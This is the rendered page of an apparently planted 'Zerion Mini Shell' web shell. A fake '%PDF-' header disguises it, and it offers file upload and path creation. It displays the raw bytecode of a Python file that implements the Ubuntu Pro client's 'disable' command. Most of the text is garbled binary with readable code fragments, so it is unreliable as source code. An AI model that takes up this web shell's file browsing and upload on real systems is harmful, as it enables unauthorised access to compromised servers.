%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/uaclient/cli/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/uaclient/cli/__pycache__/disable.cpython-312.pyc

�

�(�fw*����ddlZddlZddlZddlmZmZddlmZmZm	Z	m
Z
mZmZm
Z
mZddlmZddlmZmZddlmZddlmZddlmZmZmZdd	lmZdd
lmZe
j@�Z!ejDejFe$��Z%dejLde'd
eedee'de'de'fd�Z(dd�d�Z)ejTejVejXejZ�ej\d�d�����Z/edej`ejbe/ejdeedejfjidjke	jlejL������dd��edejnjid��d �!�ed"ejpjid#�$�dd#d%gd#�&�ed'ejrd �!�g�(�g�)�Z:y)*�N)�Dict�List)�config�contract�entitlements�event_logger�
exceptions�messages�status�util)�ProgressWrapper)�ServiceWithDependencies�
_dependencies)�_enabled_services)�cli_util)�ProArgument�ProArgumentGroup�
ProCommand)�HelpCategory)�CanDisableFailure�cfg�service�all_dependencies�enabled_service_names�called_name�
service_titlec��g}|D]\}|j|k(s|j|vr�!|jD]-}|j|k(s�|j|j��/�^|D]f}	tj||	�}
t
jj||
��}tj|��r�Qtj||
���y)N)�service_being_disabled�dependent_service)�msg)�name�
depends_on�appendr�	get_titler
�DEPENDENT_SERVICE�formatr�prompt_for_confirmationr	�DependentServiceStopsDisable)rrrrrr�dependent_services�s�requirementr�dependent_service_title�user_msgs            �6/usr/lib/python3/dist-packages/uaclient/cli/disable.py�prompt_for_dependency_handlingr/s�����
�2���6�6�W�����.C� C���<�<�	2�K����7�*�"�)�)�!�&�&�1�	2�2�0���".�"8�"8��"�#
���-�-�4�4�#0�5�5�
���+�+��9��9�9�'4�"9��
��T)�
update_statusc�z�|j}|�|}|rt�}nttj|���}|j	|�\}}|s�t
j
|j�|��t|t�r�|j��t
j|jj�t
j|jj|jj|j��nt
j|j�|rtj|��|S)aPerform the disable action on a named entitlement.

    :param entitlement_name: the name of the entitlement to enable
    :param cfg: the UAConfig to pass to the entitlement
    :param json_output: output should be json only

    @return: True on success, False otherwise
    ��
assume_yes)�	error_msg�
error_coder�r)�enabled_variantr
r�CLIEnableDisableProgress�disable�event�service_failedr!�
isinstancer�message�infor �error�service_processedr)	�entitlementr�json_outputr4r1�variant�progress�ret�reasons	         r.�perform_disablerH>s����)�)�G������"�$��"��-�-��D�
���%�%�h�/�K�C���
���[�-�-�.���*�V�5F�"G��~�~�)��
�
�6�>�>�-�-�.����$�n�n�0�0�%�~�~�2�2�'�,�,���	���� 0� 0�1���
�
�#���Jr0zpro disablec
�D
�g}g}g}g}tjddd�}|jdk(}|j}	t	j
|�}
|jr|	rtjdd���t|dg�}tj||�\}}
t|�jD�cgc]}|j��}}t|�j }d	}|D�]�}tj"|||j�
�}|j$}|�|}|	s&	t'||j||||j(��|rt7�}nt7t	j8|	���}|j;�|_	|j?|�\}}tAj@|��|s�d}|jC|�|��tE|tF�r�|jH��|
|jHj0�|jCd|j|jHj0|jHjd��nN|jC|�|jK�}|r+d	|d<|
t2jLjd������|
r�d}ddjUtjV|���zdz}djUtYjZ|ddd���}tj\ddjU|
�|��}|
|j0�|jCdd|j0|jP|jRd��t_j`|�}|jc�|rl|je�|je�|rdnd|d<||d <||d!<||d"<||d#<tgtijj|tljnd	�$��|rd%Sd&Scc}w#tj*$rd}t,j/|�|
|j0�|
t2j4j|j(�
��d}Yd}~���d}~wwxYw#tj*$r�}d}|jC|�|
|j0�|
t2jNj|j(�
��|jCd|j|j0|jP|jRd��Yd}~��=d}~wwxYw)'zbPerform the disable action on a list of entitlements.

    @return: 0 on success, 1 otherwise
    �successF)�_schema_version�result�needs_reboot�json�--purge�--assume-yes)�option1�option2rT)rr!�purgeN)rr)�titler3r7)�typerr>�message_coderMzdisable operation)�	operation)rUrr>rV�additional_infozTry �, �.�
�P)�width�break_long_words�break_on_hyphensr:)rW�invalid_service�service_msg�system�failurerL�processed_services�failed_services�errors�warnings)�cls�	sort_keysr�)8r�JSON_SCHEMA_VERSIONr&r4r�&create_interactive_only_print_functionrSr	�InvalidOptionCombination�getattrr�get_valid_entitlement_namesr�enabled_servicesr!r�services�entitlement_factoryr8r/rT�UbuntuProError�LOG�	exceptionr r
�
ENABLE_FAILEDr
r9�calculate_total_disable_steps�total_stepsr:rr#r=rr>�_check_for_reboot�ENABLE_REBOOT_REQUIRED_TMPL�DISABLE_FAILED_TMPL�msg_coderX�join�valid_services�textwrap�wrap�InvalidServiceOpErrorr�UAContractClient�update_activity_token�sort�printrN�dumpsr�DatetimeAwareJSONEncoder)�argsr�kwargsrdrerfrg�
json_responserCr4�interactive_only_print�names�entitlements_found�entitlements_not_foundr*rrrF�ent_name�entrD�erE�disable_retrG�ent_reboot_required�valid_namesra�err�contract_clients                              r.�action_disabler�ls������O�
�F��H�(�;�;����M��+�+��'�K����J�
&�L�L�����z�z�j��1�1��~�
�	
�
�D�)�R�(�E�	�0�0���<����*�#�.�?�?���������%�S�)�2�2��
�C�&�T���.�.����*�*�
���%�%�����C��
�.���H�H�$�)� (�"%�)�)�
�"�&�(�H�&��1�1�Z�H��H� #�@�@�B���-	�"%�+�+�h�"7��K���M�M�c�"�����&�&�x�0��%�*��-�+��~�~�1�.�v�~�~�/A�/A�B��
�
�(1�+.�8�8�+1�>�>�+=�+=�06���0C�0C�	��#�)�)�(�3�&)�&;�&;�&=�#�&�48�M�.�1�*� �<�<�C�C�&9�D����AT�l����T�Y�Y�|�:�:�s�C�D�D�s�J�	��i�i��M�M���!&�!&�	
�
���.�.�� �I�I�&<�=�#�
��
	�s�w�w�'��
�
� ���7�7� #���#&�#6�#6�
�	
��/�/��4�O��)�)�+�����!�����/2�)�	�
�h��.@�
�*�+�+:�
�'�(�"(�
�h��$,�
�j�!�
��J�J���1�1��
�	
��1�����]��:�,�,�
��
�
�a� �&�q�u�u�-�&��*�*�1�1��	�	�1�B������
��\�(�(�	��C��"�"�8�,�"�1�5�5�)�"��,�,�3�3�#�)�)�3�D�
�
�M�M�%�"�x�x� �u�u�$%�J�J�'(�'8�'8��
�
��	�s9�/O.�%O3�=DQ-�3Q*�AQ%�%Q*�-T�BT�Tr:rYr7)�options�store�+)�help�action�nargsrP)�command�
store_true)r�r�z--format�cli)�defaultrN)r�r��choicesr�rO)�	arguments)r��descriptionr��
help_category�argument_groups);rN�loggingr�typingrr�uaclientrrrrr	r
rr�uaclient.apir
�+uaclient.api.u.pro.services.dependencies.v1rr�-uaclient.api.u.pro.status.enabled_services.v1r�uaclient.clir�uaclient.cli.commandsrrr�uaclient.cli.parserr�(uaclient.entitlements.entitlement_statusr�get_event_loggerr;�	getLogger�replace_top_level_logger_name�__name__rt�UAConfig�strr/rH�verify_json_format_args�assert_root�assert_attached�&_raise_enable_disable_unattached_error�assert_lock_filer��CLI_ROOT_DISABLE�CLI_DISABLE_DESC�OTHER�CLI_DISABLE_SERVICEr&r}r~�CLI_ASSUME_YES�CLI_FORMAT_DESC�	CLI_PURGE�disable_command�r0r.�<module>r�s%������	�	�	�)��L�!�K�K�,�F�%��%�%�'���g���:��:�:�8�D�E���	����
���2�3�� ��9�	�
���
�@AE�+�\
�!�!�	�������(�I�I�J�����=�)�r�*�K��"�r�j�
�	�	"�	"��)�)���$�$����!�5�5�<�<� $�	�	�7�L�7�7�O�F�O�O�<M�N�!�=��
#��	��"�!�0�0�7�7�	�7�J�'��
��!�1�1�8�8��8�G�"�"�F�O�!����!�+�+�'��/�	
� �
'�r0

Zerion Mini Shell 1.0